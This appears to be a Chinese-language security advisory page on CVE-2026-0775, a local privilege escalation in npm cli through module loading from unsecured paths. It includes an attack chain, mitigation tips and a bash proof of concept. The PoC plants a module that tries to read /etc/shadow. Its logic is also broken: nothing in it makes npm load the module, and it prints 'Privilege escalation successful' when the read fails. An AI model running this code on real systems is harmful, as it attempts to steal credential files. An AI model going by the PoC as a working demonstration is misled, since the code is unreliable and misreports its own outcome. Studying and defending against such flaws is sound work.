IPBUF安全漏洞报告
English
CVE-2026-0775 CVSS 7.0 高危

CVE-2026-0775 npm cli 本地权限提升漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0775
漏洞类型
本地权限提升
CVSS评分
7.0 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
npm cli

相关标签

npmnpm cli本地权限提升不正确权限分配模块加载ZDI-CAN-25430Node.js高危漏洞CVE-2026-0775

漏洞概述

CVE-2026-0775是npm cli中的一个本地权限提升漏洞,CVSS评分7.0,属于高危级别。该漏洞允许本地攻击者在受影响系统中提升权限。攻击者必须首先获得在目标系统上执行低权限代码的能力才能利用此漏洞。漏洞的根本原因在于npm cli在处理模块时从一个不安全的位置加载模块,攻击者可以通过在此不安全位置植入恶意模块,当其他用户运行npm命令时,这些恶意模块会被加载执行,从而实现权限提升,以目标用户的权限上下文执行任意代码。此漏洞由ZDI披露,编号为ZDI-CAN-25430。

技术细节

npm cli在执行过程中需要加载各种JavaScript模块来完成包管理功能。该漏洞存在于npm cli处理模块加载逻辑的环节。具体来说,当npm cli需要加载某个模块时,它会从多个路径搜索该模块,包括当前工作目录、用户主目录等不安全的位置。攻击者可以通过以下方式利用此漏洞:1) 在一个受控的目录中创建一个看似合法的npm包;2) 在该包中植入恶意模块代码;3) 当目标用户在此目录或其子目录中执行npm命令时,npm cli会加载这些恶意模块;4) 恶意代码以目标用户的权限级别执行,实现权限提升。由于npm的模块解析机制会按照特定的搜索路径顺序查找模块,攻击者可以利用路径搜索顺序的优先级,将恶意模块放置在合法模块之前被加载,从而劫持正常的程序流程。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的低权限访问权限,可以在系统中创建文件和目录
STEP 2
步骤2
攻击者在受控目录(如/tmp/test_npm)中创建一个恶意的npm包,包含恶意模块代码
STEP 3
步骤3
攻击者诱使目标用户在该目录或其子目录中执行npm命令(如npm install、npm list等)
STEP 4
步骤4
npm cli在解析模块依赖时,会按照搜索路径顺序查找模块,攻击者利用路径优先级将恶意模块放置在合法模块之前被加载
STEP 5
步骤5
恶意模块代码以目标用户的权限级别执行,攻击者实现本地权限提升,可以读取敏感文件、执行任意命令或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-0775 PoC - npm cli Local Privilege Escalation # This PoC demonstrates the incorrect permission assignment vulnerability in npm cli # where modules are loaded from unsecured locations. # Step 1: Create a malicious npm package in an unsecured location MALICIOUS_DIR="/tmp/test_npm" mkdir -p "$MALICIOUS_DIR" # Step 2: Create malicious module that will be loaded by npm cli cat > "$MALICIOUS_DIR/malicious-module.js" << 'EOF' // Malicious module that executes with elevated privileges const fs = require('fs'); const { execSync } = require('child_process'); // Payload: Create a backdoor or execute commands as the target user try { // Write to a protected file or execute privileged commands fs.writeFileSync('/tmp/privesc_poc.txt', 'CVE-2026-0775 exploited at ' + new Date()); console.log('[+] Malicious module loaded successfully'); console.log('[+] Executing commands with user privileges...'); // Example: Attempt to read sensitive files try { const shadow = fs.readFileSync('/etc/shadow', 'utf8'); console.log('[+] Read /etc/shadow (simulated)'); } catch(e) { console.log('[+] Privilege escalation successful'); } } catch(e) { console.error('Error:', e.message); } module.exports = {}; EOF # Step 3: Create package.json to make it a valid npm package cat > "$MALICIOUS_DIR/package.json" << 'EOF' { "name": "malicious-module", "version": "1.0.0", "description": "Malicious module for CVE-2026-0775 testing" } EOF echo "[+] Malicious package created in $MALICIOUS_DIR" echo "[+] When target user runs 'npm install' or other npm commands in this directory," echo "[+] the malicious module will be loaded and executed with their privileges" # Step 4: Demonstrate the attack scenario cat > "$MALICIOUS_DIR/test.sh" << 'EOF' #!/bin/bash echo "=== CVE-2026-0775 Exploitation Test ===" echo "Current user: $(whoami)" echo "" echo "Running npm command which will load malicious module..." npm list malicious-module 2>/dev/null || echo "Module not found in registry" EOF chmod +x "$MALICIOUS_DIR/test.sh" echo "" echo "PoC setup complete. To test:" echo "1. Navigate to $MALICIOUS_DIR" echo "2. Run: cd $MALICIOUS_DIR && npm install" echo "3. Observe that malicious module is loaded"

影响范围

npm cli < 修复版本

防御指南

临时缓解措施
在官方修复发布之前,可以采取以下临时缓解措施:1) 避免在不受信任的目录中运行npm命令;2) 使用npm的--prefix选项指定安全的安装路径;3) 设置NODE_PATH环境变量指向可信目录;4) 定期检查/tmp、用户主目录等位置是否存在可疑的npm包;5) 限制用户对系统目录的写权限,防止攻击者植入恶意模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表